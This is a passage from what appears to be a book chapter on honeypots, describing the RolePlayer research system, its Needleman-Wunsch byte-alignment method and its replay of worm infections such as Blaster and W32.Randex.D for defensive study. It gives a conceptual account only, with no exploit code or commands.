|
|
The previous two systems, Collapsar and Potemkin, were trying to achieve scalability by replicating infrastructure and being very efficient in resource management, while still providing high-interaction honeypots to any network activity. RolePlayer, developed by Weidong Cui et al. at the University of California, Berkeley, and the International Computer Science Institute, takes a different approach [15]. Instead of providing more virtual machines or making them more efficient, RolePlayer can be taught to mimic application protocols both as client and server. RolePlayer can learn a new protocol by just observing a few example sessions. How does this help with making better honeypots? We mentioned earlier that if it was possible to drop uninteresting traffic early, high-interacton honeypots might have more resources to spent on more interesting activites. In that context, RolePlayer can be used to filter known attacks and create replies for them, while any attack that a seems interesting or unknown to RolePlayer can be handled by the available high-interaction honeypots. RolePlayer effectively provides sophisticated load reduction without getting in the way of learning about new attacks.
RolePlayer's big advantage is that it does not need to know any specific details about the application it tries to mimic. It operates completely application-independent, knowing just a few heuristics about network protocols in general — for example, that IP addresses are usually represented as four numbers separated by dots. It uses byte-stream alignment techniques to compare different application sessions with one another to determine how to change fields to be able to successfully replay one side of a session. Using RolePlayer, the Berkeley researchers were able to reply to both client and server sides of several network applications like NFS, FTP, and SMB file transfers. They also showed that RolePlayer was able to replay the multistage infection process of the Blaster and W32.Randex.D worms.
The Blaster worm is a good example of the difficulties that RolePlayer faces when trying to faithfully replay either the worm attack or the responses of the infected host. Blaster exploits a vulnerability on Window's DCOM RPC service by attacking TCP port 135. The RolePlayer paper outlines the process as follows:
When RolePlayer is given a session like this it needs to be able to deal with the following complications:
A session may consist of multiple sessions where both the sender and the responder can initiate new sessions.
It is not always possible to coalesce data. For example, the three attack packets could also be sent as 1460- and 316-byte-long packets. However, they would not successfully exploit the victim host.
Dynamically changing data such as IP addresses, host names, and port numbers may appear in the application data and need to be replaced and updated with the appropriate information when replayed.
Variable-length encoding of data — for example host names — requires that RolePlayer is able to update corresponding-length fields when changing the information for replay.
To determine which fields need to be updated and which semantics they follow, RolePlayer operates in two distinct phases: preparation and reply. The preparation stage takes one or two (primary and secondary dialog) recorded examples of an application session and searches them for dynamic fields. It first tries to find endpoint-addresses and arguments in each session. Given that information, it then searches for length fields and possible cookie fields by comparing the primary and secondary session dialogs with each other. The result of this phase is a script that instructs RolePlayer how to react to future instances of this application protocol.
Figure 7.3 shows the steps that RolePlayer uses to replay a session. When a replay session starts, the script generated during the preparation phase determines whether RolePlayer is expected to receive network traffic or is supposed to send a packet out itself.
To receive network traffic, RolePlayer reads data from the corresponding connection. It knows when the received data is complete by computing the best alignment to the expected data from the script. If the alignment contains no trailing gaps, RolePlayer knows that it received a complete data segment that can be processed further. It then searches for dynamic fields to update potentially changed cookie data, new IP addresses, and ports. At this point, the script might call for data to be sent to the network. RolePlayer updates all dynamic fields in the script with the newly learned data, updates fields responsible for packet-length encoding, and inserts user-specified data.
Although the basic steps that RolePlayer takes to mimic a server or replay a session as a client sound simple, the main challenge is the byte alignment algorithm on which RolePlayer relies to match byte sequences in one session to sequences in another. This algorithm needs to be application-independent, so it is not possible to use protocol semantics to determine which bytes in one session correspond to bytes in another session. Instead, the Needleman-Wunsch [60] algorithm with configurable byte-level weightings is used to analyze the significance of the differences between two sessions. It is usually employed in bioinformatics to find a global alignment for protein or nucleotide sequences. The algorithm uses dynamic programming[3] to find an alignment that has maximal weight. Instead of aligning amino acids, RolePlayer uses a slight modified version of the algorithm that assigns different weights to identical characters, differing characters, and gaps. A similar algorithm is used by Polygraph [62] to compute signatures for polymorphic worms. Here is a very simple example on how to align two byte sequences: comd.exe and cmd.ese. We give matching characters a score of m = 2, differing characters a score of n = –1, and gaps a score of g = –2. The optimal alignment is then comd.exe to c-md.ese with a score of m + g + m + m + m + m + n + m = 9. Instead of computing a global alignment, RolePlayer also supports computing a semiglobal alignment that allows matching on the prefix of a sequence; trailing gaps are not penalized in that case. For example, aligning ro against roto could have two different alignments: r--o against roto or ro-- against roto. The latter alignment is preferred because the trailing gaps are ignored.
[3] An implementation of the Needleman-Wunsch algorithm can be found on Wikipedia at http://en.wikipedia.org/wiki/Needleman-Wunsch_algorithm.
An evaluation of RolePlayer on a real network showed that it was able to correctly behave as client or server for FTP, NFS, SMTP, and more. However, the most powerful example of RolePlayer was to imitate the W32.Randex.D worm. It scans the network for SMB shares with weak administrator passwords. This involves multiple SMB RPC calls and the upload of a malware binary msmgri32.exe on any open share it finds. The Berkeley researches captured traffic using tcpdump on a network that contained a worm infected and a vulnerable Windows virtual machine. Using two captured attacks, RolePlayer imitated the attacker, identified 101 dynamic fields, and changed 65 of them during replay. The other ones were do-not-care fields that did not require updating. As a result, RolePlayer was able to successfully infect a running Windows instance. On the flip side of the coin, RolePlayer was also able to correctly imitate a vulnerable Windows machine and allow the worm to proceed with all of its infection stages.
The application to honeypots is obvious. RolePlayer can be used to offload high-interaction honeypots by taking care of well-known attacks. If RolePlayer does not know how to respond to traffic after it has already started communicating with a peer, it can simply replay the already performed interactions to a high-interaction honeypot and let the live system deal with the traffic not yet known to RolePlayer. On the other hand, RolePlayer can also be used to replay captured attacks to study how they operate on a live system. This can be used to better understand the exploited vulnerabilities and how to protect against them.
|
|